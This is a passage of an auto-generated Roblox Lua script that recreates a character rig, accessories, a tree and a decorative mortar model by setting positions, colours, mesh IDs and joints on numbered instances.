Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1160.Size = Vector3.new(0.999999881, 0.299999982, 0.999999881) MeshPart1160.Anchored = true MeshPart1160.BrickColor = BrickColor.new("Cool yellow") MeshPart1160.CanCollide = false MeshPart1160.brickColor = BrickColor.new("Cool yellow") Motor6D1161.Name = "RightWrist" Motor6D1161.Parent = MeshPart1160 Motor6D1161.C0 = CFrame.new(1.1920929e-07, -0.549999952, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1161.C1 = CFrame.new(3.57627869e-07, 0.149999991, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1161.Part0 = MeshPart1162 Motor6D1161.Part1 = MeshPart1160 Motor6D1161.part1 = MeshPart1160 MeshPart1162.Name = "RightLowerArm" MeshPart1162.Parent = Model1150 MeshPart1162.CFrame = CFrame.new(227.804855, 2.8499999, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1162.Orientation = Vector3.new(0, 90, 0) MeshPart1162.Position = Vector3.new(227.804855, 2.8499999, -112.119537) MeshPart1162.Rotation = Vector3.new(0, 90, 0) MeshPart1162.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1162.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1162.Size = Vector3.new(0.999999762, 1.20000029, 1) MeshPart1162.Anchored = true MeshPart1162.BrickColor = BrickColor.new("Cool yellow") MeshPart1162.CanCollide = false MeshPart1162.brickColor = BrickColor.new("Cool yellow") Motor6D1163.Name = "RightElbow" Motor6D1163.Parent = MeshPart1162 Motor6D1163.C0 = CFrame.new(-5.96046448e-07, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1163.C1 = CFrame.new(1.1920929e-07, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1163.Part0 = MeshPart1164 Motor6D1163.Part1 = MeshPart1162 Motor6D1163.part1 = MeshPart1162 MeshPart1164.Name = "RightUpperArm" MeshPart1164.Parent = Model1150 MeshPart1164.CFrame = CFrame.new(227.804855, 3.29999995, -112.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1164.Orientation = Vector3.new(0, 90, 0) MeshPart1164.Position = Vector3.new(227.804855, 3.29999995, -112.119537) MeshPart1164.Rotation = Vector3.new(0, 90, 0) MeshPart1164.Color = Color3.new(0.992157, 0.917647, 0.552941) MeshPart1164.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1164.Size = Vector3.new(0.999999642, 1.40000033, 0.99999994) MeshPart1164.Anchored = true MeshPart1164.BrickColor = BrickColor.new("Cool yellow") MeshPart1164.CanCollide = false MeshPart1164.brickColor = BrickColor.new("Cool yellow") Motor6D1165.Name = "RightShoulder" Motor6D1165.Parent = MeshPart1164 Motor6D1165.C0 = CFrame.new(1.24998045, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1165.C1 = CFrame.new(-0.250020266, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1165.Part0 = MeshPart1166 Motor6D1165.Part1 = MeshPart1164 Motor6D1165.part1 = MeshPart1164 MeshPart1166.Name = "UpperTorso" MeshPart1166.Parent = Model1150 MeshPart1166.CFrame = CFrame.new(227.804855, 3.20000005, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1166.Orientation = Vector3.new(0, 90, 0) MeshPart1166.Position = Vector3.new(227.804855, 3.20000005, -110.619537) MeshPart1166.Rotation = Vector3.new(0, 90, 0) MeshPart1166.Color = Color3.new(0.156863, 0.498039, 0.278431) MeshPart1166.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1166.Size = Vector3.new(2, 1.60000014, 1.00000036) MeshPart1166.Anchored = true MeshPart1166.BrickColor = BrickColor.new("Dark green") MeshPart1166.brickColor = BrickColor.new("Dark green") Motor6D1167.Name = "Waist" Motor6D1167.Parent = MeshPart1166 Motor6D1167.C0 = CFrame.new(-1.1920929e-07, 0.550000072, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1167.C1 = CFrame.new(-5.96046448e-08, -0.450000018, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1167.Part0 = MeshPart1180 Motor6D1167.Part1 = MeshPart1166 Motor6D1167.part1 = MeshPart1166 MeshPart1168.Name = "LeftFoot" MeshPart1168.Parent = Model1150 MeshPart1168.CFrame = CFrame.new(227.804855, 0.150000006, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1168.Orientation = Vector3.new(0, 90, 0) MeshPart1168.Position = Vector3.new(227.804855, 0.150000006, -110.119537) MeshPart1168.Rotation = Vector3.new(0, 90, 0) MeshPart1168.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1168.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1168.Size = Vector3.new(1, 0.300000191, 1) MeshPart1168.Anchored = true MeshPart1168.BrickColor = BrickColor.new("Bright blue") MeshPart1168.CanCollide = false MeshPart1168.brickColor = BrickColor.new("Bright blue") Motor6D1169.Name = "LeftAnkle" Motor6D1169.Parent = MeshPart1168 Motor6D1169.C0 = CFrame.new(-1.78813934e-07, -0.749997616, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1169.C1 = CFrame.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1169.Part0 = MeshPart1170 Motor6D1169.Part1 = MeshPart1168 Motor6D1169.part1 = MeshPart1168 MeshPart1170.Name = "LeftLowerLeg" MeshPart1170.Parent = Model1150 MeshPart1170.CFrame = CFrame.new(227.804855, 0.949999988, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1170.Orientation = Vector3.new(0, 90, 0) MeshPart1170.Position = Vector3.new(227.804855, 0.949999988, -110.119537) MeshPart1170.Rotation = Vector3.new(0, 90, 0) MeshPart1170.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1170.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1170.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012) MeshPart1170.Anchored = true MeshPart1170.BrickColor = BrickColor.new("Bright blue") MeshPart1170.CanCollide = false MeshPart1170.brickColor = BrickColor.new("Bright blue") Motor6D1171.Name = "LeftKnee" Motor6D1171.Parent = MeshPart1170 Motor6D1171.C0 = CFrame.new(5.96046448e-08, -0.299999952, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1171.C1 = CFrame.new(-0, 0.249999642, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1171.Part0 = MeshPart1172 Motor6D1171.Part1 = MeshPart1170 Motor6D1171.part1 = MeshPart1170 MeshPart1172.Name = "LeftUpperLeg" MeshPart1172.Parent = Model1150 MeshPart1172.CFrame = CFrame.new(227.804855, 1.5, -110.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1172.Orientation = Vector3.new(0, 90, 0) MeshPart1172.Position = Vector3.new(227.804855, 1.5, -110.119537) MeshPart1172.Rotation = Vector3.new(0, 90, 0) MeshPart1172.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1172.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1172.Size = Vector3.new(1.00000036, 1.49999976, 0.999999881) MeshPart1172.Anchored = true MeshPart1172.BrickColor = BrickColor.new("Bright blue") MeshPart1172.CanCollide = false MeshPart1172.brickColor = BrickColor.new("Bright blue") Motor6D1173.Name = "LeftHip" Motor6D1173.Parent = MeshPart1172 Motor6D1173.C0 = CFrame.new(-0.500000119, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1173.C1 = CFrame.new(5.96046448e-08, 0.5, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1173.Part0 = MeshPart1180 Motor6D1173.Part1 = MeshPart1172 Motor6D1173.part1 = MeshPart1172 MeshPart1174.Name = "RightFoot" MeshPart1174.Parent = Model1150 MeshPart1174.CFrame = CFrame.new(227.804855, 0.150000006, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1174.Orientation = Vector3.new(0, 90, 0) MeshPart1174.Position = Vector3.new(227.804855, 0.150000006, -111.119537) MeshPart1174.Rotation = Vector3.new(0, 90, 0) MeshPart1174.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1174.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1174.Size = Vector3.new(0.99999994, 0.300000191, 1) MeshPart1174.Anchored = true MeshPart1174.BrickColor = BrickColor.new("Bright blue") MeshPart1174.CanCollide = false MeshPart1174.brickColor = BrickColor.new("Bright blue") Motor6D1175.Name = "RightAnkle" Motor6D1175.Parent = MeshPart1174 Motor6D1175.C0 = CFrame.new(-0, -0.750000477, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1175.C1 = CFrame.new(-0, 0.0499997139, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1175.Part0 = MeshPart1176 Motor6D1175.Part1 = MeshPart1174 Motor6D1175.part1 = MeshPart1174 MeshPart1176.Name = "RightLowerLeg" MeshPart1176.Parent = Model1150 MeshPart1176.CFrame = CFrame.new(227.804855, 0.949999988, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1176.Orientation = Vector3.new(0, 90, 0) MeshPart1176.Position = Vector3.new(227.804855, 0.949999988, -111.119537) MeshPart1176.Rotation = Vector3.new(0, 90, 0) MeshPart1176.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1176.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1176.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012) MeshPart1176.Anchored = true MeshPart1176.BrickColor = BrickColor.new("Bright blue") MeshPart1176.CanCollide = false MeshPart1176.brickColor = BrickColor.new("Bright blue") Motor6D1177.Name = "RightKnee" Motor6D1177.Parent = MeshPart1176 Motor6D1177.C0 = CFrame.new(-0, -0.299999952, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1177.C1 = CFrame.new(-0, 0.249999642, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1177.Part0 = MeshPart1178 Motor6D1177.Part1 = MeshPart1176 Motor6D1177.part1 = MeshPart1176 MeshPart1178.Name = "RightUpperLeg" MeshPart1178.Parent = Model1150 MeshPart1178.CFrame = CFrame.new(227.804855, 1.5, -111.119537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1178.Orientation = Vector3.new(0, 90, 0) MeshPart1178.Position = Vector3.new(227.804855, 1.5, -111.119537) MeshPart1178.Rotation = Vector3.new(0, 90, 0) MeshPart1178.Color = Color3.new(0.0509804, 0.411765, 0.67451) MeshPart1178.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1178.Size = Vector3.new(1.00000048, 1.49999976, 0.999999881) MeshPart1178.Anchored = true MeshPart1178.BrickColor = BrickColor.new("Bright blue") MeshPart1178.CanCollide = false MeshPart1178.brickColor = BrickColor.new("Bright blue") Motor6D1179.Name = "RightHip" Motor6D1179.Parent = MeshPart1178 Motor6D1179.C0 = CFrame.new(0.499999881, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1179.C1 = CFrame.new(-0, 0.5, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1179.Part0 = MeshPart1180 Motor6D1179.Part1 = MeshPart1178 Motor6D1179.part1 = MeshPart1178 MeshPart1180.Name = "LowerTorso" MeshPart1180.Parent = Model1150 MeshPart1180.CFrame = CFrame.new(227.804855, 2.20000005, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0) MeshPart1180.Orientation = Vector3.new(0, 90, 0) MeshPart1180.Position = Vector3.new(227.804855, 2.20000005, -110.619537) MeshPart1180.Rotation = Vector3.new(0, 90, 0) MeshPart1180.Color = Color3.new(0.156863, 0.498039, 0.278431) MeshPart1180.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) MeshPart1180.Size = Vector3.new(1.99999976, 0.399999976, 1.00000012) MeshPart1180.Anchored = true MeshPart1180.BrickColor = BrickColor.new("Dark green") MeshPart1180.brickColor = BrickColor.new("Dark green") Motor6D1181.Name = "Root" Motor6D1181.Parent = MeshPart1180 Motor6D1181.C0 = CFrame.new(-0, -0.649999976, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1181.C1 = CFrame.new(-1.1920929e-07, 0.150000036, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1181.Part0 = Part1151 Motor6D1181.Part1 = MeshPart1180 Motor6D1181.part1 = MeshPart1180 Humanoid1182.Parent = Model1150 Humanoid1182.HipHeight = 2 Humanoid1182.LeftLeg = MeshPart1172 Humanoid1182.RigType = Enum.HumanoidRigType.R15 Humanoid1182.RightLeg = MeshPart1178 Humanoid1182.Torso = Part1151 NumberValue1183.Name = "BodyWidthScale" NumberValue1183.Parent = Humanoid1182 NumberValue1183.Value = 1 NumberValue1184.Name = "BodyHeightScale" NumberValue1184.Parent = Humanoid1182 NumberValue1184.Value = 1 NumberValue1185.Name = "BodyDepthScale" NumberValue1185.Parent = Humanoid1182 NumberValue1185.Value = 1 NumberValue1186.Name = "HeadScale" NumberValue1186.Parent = Humanoid1182 NumberValue1186.Value = 1 NumberValue1187.Name = "BodyTypeScale" NumberValue1187.Parent = Humanoid1182 NumberValue1188.Name = "BodyProportionScale" NumberValue1188.Parent = Humanoid1182 BoolValue1189.Name = "IsR15" BoolValue1189.Parent = Humanoid1182 BoolValue1189.Value = true Part1190.Name = "Head" Part1190.Parent = Model1150 Part1190.CFrame = CFrame.new(227.804855, 4.49099922, -110.619537, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1190.Orientation = Vector3.new(0, 90, 0) Part1190.Position = Vector3.new(227.804855, 4.49099922, -110.619537) Part1190.Rotation = Vector3.new(0, 90, 0) Part1190.Color = Color3.new(0.992157, 0.917647, 0.552941) Part1190.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45) Part1190.Size = Vector3.new(2, 1, 1) Part1190.Anchored = true Part1190.BottomSurface = Enum.SurfaceType.Smooth Part1190.BrickColor = BrickColor.new("Cool yellow") Part1190.TopSurface = Enum.SurfaceType.Smooth Part1190.brickColor = BrickColor.new("Cool yellow") Motor6D1191.Name = "Neck" Motor6D1191.Parent = Part1190 Motor6D1191.C0 = CFrame.new(-5.96046448e-08, 0.799999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1191.C1 = CFrame.new(0, -0.490999997, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Motor6D1191.Part0 = MeshPart1166 Motor6D1191.Part1 = Part1190 Motor6D1191.part1 = Part1190 Decal1192.Name = "face" Decal1192.Parent = Part1190 Decal1192.Texture = "rbxasset://textures/face.png" SpecialMesh1193.Parent = Part1190 SpecialMesh1193.MeshId = "http://www.roblox.com/asset/?id=82992952" SpecialMesh1193.Scale = Vector3.new(1.25, 1.25, 1.25) SpecialMesh1193.MeshType = Enum.MeshType.FileMesh StringValue1194.Name = "AvatarPartScaleType" StringValue1194.Parent = SpecialMesh1193 StringValue1194.Value = "Classic" Vector3Value1195.Name = "FaceCenterAttachment" Vector3Value1195.Parent = SpecialMesh1193 Vector3Value1196.Name = "FaceFrontAttachment" Vector3Value1196.Parent = SpecialMesh1193 Vector3Value1196.Value = Vector3.new(0, 0, -0.589999974) Vector3Value1197.Name = "HairAttachment" Vector3Value1197.Parent = SpecialMesh1193 Vector3Value1197.Value = Vector3.new(0, 0.589999974, -0) Vector3Value1198.Name = "HatAttachment" Vector3Value1198.Parent = SpecialMesh1193 Vector3Value1198.Value = Vector3.new(0, 0.589999974, -0) Vector3Value1199.Name = "NeckRigAttachment" Vector3Value1199.Parent = SpecialMesh1193 Vector3Value1199.Value = Vector3.new(0, -0.490999997, -0) StringValue1200.Name = "AvatarPartScaleType" StringValue1200.Parent = Part1190 StringValue1200.Value = "Classic" StringValue1201.Name = "AvatarPartScaleType" StringValue1201.Parent = Part1190 StringValue1201.Value = "Classic" Dialog1202.Parent = Part1190 Dialog1202.InitialPrompt = "I made this map." Accessory1203.Name = "RedFabrege" Accessory1203.Parent = Model1150 Accessory1203.AttachmentPoint = CFrame.new(-0.0299999993, -1.13, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Accessory1203.AttachmentPos = Vector3.new(-0.0299999993, -1.13, 0) Part1204.Name = "Handle" Part1204.Parent = Accessory1203 Part1204.CFrame = CFrame.new(227.805115, 6.11100006, -110.649536, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1204.Orientation = Vector3.new(0, 90, 0) Part1204.Position = Vector3.new(227.805115, 6.11100006, -110.649536) Part1204.Rotation = Vector3.new(0, 90, 0) Part1204.Color = Color3.new(0.94902, 0.952941, 0.952941) Part1204.Size = Vector3.new(1, 2, 1) Part1204.Anchored = true Part1204.BottomSurface = Enum.SurfaceType.Smooth Part1204.BrickColor = BrickColor.new("White") Part1204.CanCollide = false Part1204.Locked = true Part1204.TopSurface = Enum.SurfaceType.Smooth Part1204.brickColor = BrickColor.new("White") Part1204.FormFactor = Enum.FormFactor.Symmetric Part1204.formFactor = Enum.FormFactor.Symmetric SpecialMesh1205.Parent = Part1204 SpecialMesh1205.MeshId = "http://www.roblox.com/asset/?id=24829283" SpecialMesh1205.TextureId = "http://www.roblox.com/asset/?id=24829275" SpecialMesh1205.MeshType = Enum.MeshType.FileMesh Weld1206.Name = "HeadWeld" Weld1206.Parent = Part1204 Weld1206.C0 = CFrame.new(-0.02999999, -1.03000021, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld1206.C1 = CFrame.new(0, 0.589999974, -0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld1206.Part0 = Part1204 Weld1206.Part1 = Part1190 Weld1206.part1 = Part1190 Weld1207.Name = "AccessoryWeld" Weld1207.Parent = Part1204 Weld1207.C0 = CFrame.new(-0.02999999, -1.03000021, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld1207.C1 = CFrame.new(0, 0.589999974, -0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld1207.Part0 = Part1204 Weld1207.Part1 = Part1190 Weld1207.part1 = Part1190 Accessory1208.Name = "RoosterDragonPal" Accessory1208.Parent = Model1150 Accessory1208.AttachmentPoint = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1) Accessory1208.AttachmentPos = Vector3.new(0.314715385, -1.15544653, -0.0756194592) Part1209.Name = "Handle" Part1209.Parent = Accessory1208 Part1209.CFrame = CFrame.new(227.880463, 5.15544701, -108.804825, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part1209.Orientation = Vector3.new(0, 90, 0) Part1209.Position = Vector3.new(227.880463, 5.15544701, -108.804825) Part1209.Rotation = Vector3.new(0, 90, 0) Part1209.Size = Vector3.new(1, 1, 1) Part1209.Anchored = true Part1209.BottomSurface = Enum.SurfaceType.Smooth Part1209.CanCollide = false Part1209.Locked = true Part1209.TopSurface = Enum.SurfaceType.Smooth SpecialMesh1210.Name = "SpecialMesh" SpecialMesh1210.Parent = Part1209 SpecialMesh1210.MeshId = "rbxassetid://5636965999" SpecialMesh1210.TextureId = "rbxassetid://5636966091" SpecialMesh1210.MeshType = Enum.MeshType.FileMesh StringValue1211.Name = "AvatarPartScaleType" StringValue1211.Parent = Part1209 StringValue1211.Value = "Classic" Weld1212.Name = "HeadWeld" Weld1212.Parent = Part1209 Weld1212.C0 = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld1212.C1 = CFrame.new(2.38418579e-07, 0.700000286, -2.70968314e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld1212.Part0 = Part1209 Weld1212.Part1 = MeshPart1158 Weld1212.part1 = MeshPart1158 Weld1213.Name = "AccessoryWeld" Weld1213.Parent = Part1209 Weld1213.C0 = CFrame.new(0.314715385, -1.15544653, -0.0756194592, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld1213.C1 = CFrame.new(2.38418579e-07, 0.700000286, -2.70968314e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld1213.Part0 = Part1209 Weld1213.Part1 = MeshPart1158 Weld1213.part1 = MeshPart1158 BodyColors1214.Parent = Model1150 BodyColors1214.HeadColor = BrickColor.new("New Yeller") BodyColors1214.HeadColor3 = Color3.new(1, 1, 0) BodyColors1214.LeftArmColor = BrickColor.new("New Yeller") BodyColors1214.LeftArmColor3 = Color3.new(1, 1, 0) BodyColors1214.LeftLegColor = BrickColor.new("New Yeller") BodyColors1214.LeftLegColor3 = Color3.new(1, 1, 0) BodyColors1214.RightArmColor = BrickColor.new("New Yeller") BodyColors1214.RightArmColor3 = Color3.new(1, 1, 0) BodyColors1214.RightLegColor = BrickColor.new("New Yeller") BodyColors1214.RightLegColor3 = Color3.new(1, 1, 0) BodyColors1214.TorsoColor = BrickColor.new("Lime green") BodyColors1214.TorsoColor3 = Color3.new(0, 1, 0) Model1215.Name = "Tree" Model1215.Parent = Model319 Part1216.Parent = Model1215 Part1216.CFrame = CFrame.new(28, 11, -86, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1216.Position = Vector3.new(28, 11, -86) Part1216.Color = Color3.new(0.203922, 0.556863, 0.25098) Part1216.Size = Vector3.new(10, 10, 10) Part1216.Anchored = true Part1216.BottomSurface = Enum.SurfaceType.Smooth Part1216.BrickColor = BrickColor.new("Sea green") Part1216.TopSurface = Enum.SurfaceType.Smooth Part1216.brickColor = BrickColor.new("Sea green") Part1216.Shape = Enum.PartType.Ball Part1217.Parent = Model1215 Part1217.CFrame = CFrame.new(27.9040451, 5.5, -85.983078, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part1217.Position = Vector3.new(27.9040451, 5.5, -85.983078) Part1217.Color = Color3.new(0.666667, 0.333333, 0) Part1217.Size = Vector3.new(2, 11, 2) Part1217.Anchored = true Part1217.BottomSurface = Enum.SurfaceType.Smooth Part1217.BrickColor = BrickColor.new("CGA brown") Part1217.TopSurface = Enum.SurfaceType.Smooth Part1217.brickColor = BrickColor.new("CGA brown") Model1218.Name = "Mortar" Model1218.Parent = Model319 Part1219.Parent = Model1218 Part1219.CFrame = CFrame.new(196.705002, 1.50065994, -93.4044418, 0.00128374994, -0.457646936, 0.889126718, 0.000651359558, 0.889130831, 0.457646281, -0.999999404, -4.38094139e-06, 0.00144002901) Part1219.Orientation = Vector3.new(-27.2399998, 89.9100037, 0.0399999991) Part1219.Position = Vector3.new(196.705002, 1.50065994, -93.4044418) Part1219.Rotation = Vector3.new(-89.8199997, 62.7599983, 89.8399963) Part1219.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1219.Size = Vector3.new(1, 1.20000005, 1) Part1219.Anchored = true Part1219.BottomSurface = Enum.SurfaceType.Smooth Part1219.BrickColor = BrickColor.new("Dark stone grey") Part1219.TopSurface = Enum.SurfaceType.Smooth Part1219.brickColor = BrickColor.new("Dark stone grey") Part1220.Parent = Model1218 Part1220.CFrame = CFrame.new(195.040726, 1.19999695, -94.4565887, 6.55651093e-07, -8.19563866e-07, 0.999994397, -1.93715096e-06, 0.99999702, -8.19563866e-07, -1.00000036, 1.93715096e-06, -6.55651093e-07) Part1220.Orientation = Vector3.new(0, 90, 0) Part1220.Position = Vector3.new(195.040726, 1.19999695, -94.4565887) Part1220.Rotation = Vector3.new(128.660004, 89.8099976, 51.3400002) Part1220.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1220.Size = Vector3.new(1, 2.4000001, 1) Part1220.Anchored = true Part1220.BottomSurface = Enum.SurfaceType.Smooth Part1220.BrickColor = BrickColor.new("Really black") Part1220.TopSurface = Enum.SurfaceType.Smooth Part1220.brickColor = BrickColor.new("Really black") Weld1221.Parent = Part1220 Weld1221.C0 = CFrame.new(1.52587891e-05, -1.19999719, -1.52587891e-05, 1.00000072, 0, 0, -3.87429736e-06, 1.95330948e-14, -0.99999702, 1.31130037e-06, 0.999991775, 1.63912182e-06) Weld1221.C1 = CFrame.new(195.04071, 9.99999619, -94.4565964, 6.55651093e-07, 0.999997377, 8.19563809e-07, -1.93715096e-06, 8.19562899e-07, -1, -1.00000036, 6.55647568e-07, 1.93715073e-06) Weld1221.Part0 = Part1220 Weld1221.Part1 = Part1007 Weld1221.part1 = Part1007 Part1222.Parent = Model1218 Part1222.CFrame = CFrame.new(194.756409, 5.18939209, -96.8136749, 0.889141083, 0.332805157, 0.314089119, 0.457606733, -0.642616808, -0.614517152, -0.00267511955, 0.690126836, -0.723684013) Part1222.Orientation = Vector3.new(37.9199982, 156.539993, 144.550003) Part1222.Position = Vector3.new(194.756409, 5.18939209, -96.8136749) Part1222.Rotation = Vector3.new(139.660004, 18.3099995, -20.5200005) Part1222.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1222.Size = Vector3.new(1, 0.400000006, 1) Part1222.Anchored = true Part1222.BottomSurface = Enum.SurfaceType.Smooth Part1222.BrickColor = BrickColor.new("Really black") Part1222.TopSurface = Enum.SurfaceType.Smooth Part1222.brickColor = BrickColor.new("Really black") Part1223.Parent = Model1218 Part1223.CFrame = CFrame.new(196.526627, 1.96479034, -96.0234985, 0.889124632, -0.406915694, 0.209440947, 0.45765242, 0.79055649, -0.406901538, 2.57045031e-07, 0.457645118, 0.889135361) Part1223.Orientation = Vector3.new(24.0100002, 13.25, 30.0699997) Part1223.Position = Vector3.new(196.526627, 1.96479034, -96.0234985) Part1223.Rotation = Vector3.new(24.5900002, 12.0900002, 24.5900002) Part1223.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1223.Size = Vector3.new(1, 2.4000001, 1) Part1223.Anchored = true Part1223.BottomSurface = Enum.SurfaceType.Smooth Part1223.BrickColor = BrickColor.new("Really black") Part1223.TopSurface = Enum.SurfaceType.Smooth Part1223.brickColor = BrickColor.new("Really black") Part1224.Parent = Model1218 Part1224.CFrame = CFrame.new(197.919403, 2.6816864, -94.3522949, -6.5267086e-06, -0.813817203, -0.581111252, 1.32620335e-05, 0.581114054, -0.813818574, 1.00000048, -9.65595245e-06, 4.64916229e-06) Part1224.Orientation = Vector3.new(54.4700012, -90, 0) Part1224.Position = Vector3.new(197.919403, 2.6816864, -94.3522949) Part1224.Rotation = Vector3.new(90, -35.5299988, 90) Part1224.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part1224.Size = Vector3.new(1, 2.4000001, 1) Part1224.Anchored = true Part1224.BottomSurface = Enum.SurfaceType.Smooth Part1224.BrickColor = BrickColor.new("Really black") Part1224.TopSurface = Enum.SurfaceType.Smooth Part1224.brickColor = BrickColor.new("Really black") Part1225.Parent = Model1218 Part1225.CFrame = CFrame.new(195.621902, 3.51823425, -95.0197525, -0.889142871, -0.332805783, 0.314089388, -0.457607299, 0.642617464, -0.614517391, 0.00267508207, -0.690127194, -0.723683715) Part1225.Orientation = Vector3.new(37.9199982, 156.539993, -35.4500008) Part1225.Position = Vector3.new(195.621902, 3.51823425, -95.0197525) Part1225.Rotation = Vector3.new(139.660004, 18.3099995, 159.479996) Part1225.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1225.Size = Vector3.new(1, 4, 1) Part1225.Anchored = true Part1225.BottomSurface = Enum.SurfaceType.Smooth Part1225.BrickColor = BrickColor.new("Dark stone grey") Part1225.TopSurface = Enum.SurfaceType.Smooth Part1225.brickColor = BrickColor.new("Dark stone grey") Weld1226.Parent = Part1225 Weld1226.C0 = CFrame.new(0, 0, -0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld1226.C1 = CFrame.new(3.81469727e-06, -0.200012207, 1.49999237, -0.999999046, 3.25962901e-08, -2.94763595e-07, -4.19095159e-09, 0, 1.00000012, 1.47614628e-07, 0.999999464, -4.76837158e-07) Weld1226.Part0 = Part1225 Weld1226.Part1 = Part1232 Weld1226.part1 = Part1232 Part1227.Parent = Model1218 Part1227.CFrame = CFrame.new(194.889725, 4.93220139, -96.5373077, 0.889141083, 0.332805157, 0.314089119, 0.457606733, -0.642616808, -0.614517152, -0.00267511955, 0.690126836, -0.723684013) Part1227.Orientation = Vector3.new(37.9199982, 156.539993, 144.550003) Part1227.Position = Vector3.new(194.889725, 4.93220139, -96.5373077) Part1227.Rotation = Vector3.new(139.660004, 18.3099995, -20.5200005) Part1227.Color = Color3.new(0.388235, 0.372549, 0.384314) Part1227.Size = Vector3.new(1, 0.400000006, 1) Part1227.Anchored = true Part1227.BottomSurface = Enum.SurfaceType.Smooth Part1227.BrickColor = BrickColor.new("Dark stone grey") Part1227.TopSurface = Enum.SurfaceType.Smooth Part1227.brickColor = BrickColor.new("Dark stone grey") Model1228.Name = "Part" Model1228.Parent = Model1218 Model1229.Name = "GunBarrel" 